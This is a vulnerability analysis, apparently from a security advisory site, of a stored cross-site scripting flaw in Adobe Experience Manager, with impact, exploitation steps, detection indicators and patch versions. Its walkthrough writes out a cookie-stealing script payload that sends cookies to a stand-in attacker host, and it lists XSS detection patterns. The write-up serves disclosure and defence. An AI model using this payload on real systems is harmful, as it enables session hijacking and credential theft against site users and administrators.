CVE-2025-64541: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64541 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS), as well as AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with the patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically a stored XSS variant where malicious script content is persisted in the application and later rendered in victims' browsers. An authenticated attacker with low privileges can inject JavaScript payloads into vulnerable form fields within AEM; when another user (including administrators) browses to the page containing the affected field, the malicious script executes in their browser context. Exploitation requires network access, low attack complexity, and user interaction from a victim, with the scope of impact crossing security boundaries (Adobe Advisory).

Successful exploitation results in limited confidentiality and integrity impacts within the victim's browser session — attackers can steal session tokens, perform actions on behalf of the victim, or redirect users to malicious sites. Because the injected script executes in the context of the AEM application, higher-privileged users (such as administrators) browsing affected pages are at elevated risk, potentially enabling privilege escalation or unauthorized content modification. Availability is not directly impacted (Adobe Advisory).

1. Authenticate: Obtain a low-privileged account on the target Adobe Experience Manager instance (version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0).
2. Identify vulnerable form fields: Navigate through AEM's authoring interface to locate form fields that accept and store user input without adequate sanitization.
3. Inject XSS payload: Submit a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
4. Wait for victim interaction: The payload is now stored in the AEM repository. When a victim (e.g., an administrator or content editor) browses to the page containing the injected field, the malicious script executes in their browser.
5. Harvest results: The attacker receives stolen session cookies, credentials, or other sensitive data, potentially enabling session hijacking or further unauthorized actions within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded JavaScript patterns (e.g., <script>, javascript:, onerror=, onload=) in form field parameters.
• Content Repository: Unexpected script tags or JavaScript event handlers stored within AEM JCR (Java Content Repository) nodes, particularly in user-editable content areas.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing AEM-authored pages, potentially indicating cookie or credential exfiltration.
• Browser: Unexpected redirects or pop-ups when authenticated users browse specific AEM pages; browser developer console errors related to cross-origin script execution.

Adobe has released patches addressing this vulnerability: AEM on-premises/LTS users should upgrade to version 6.5.24.0 or later, and AEM Cloud Service users should ensure they are on the 2025.12.0 release or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts and audit low-privileged user activity on affected instances (Adobe Advisory).

The vulnerability was noted in a CIS advisory covering multiple Adobe product vulnerabilities released in December 2025, categorizing it among issues that could allow for arbitrary code execution in Adobe products (CIS Advisory). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE.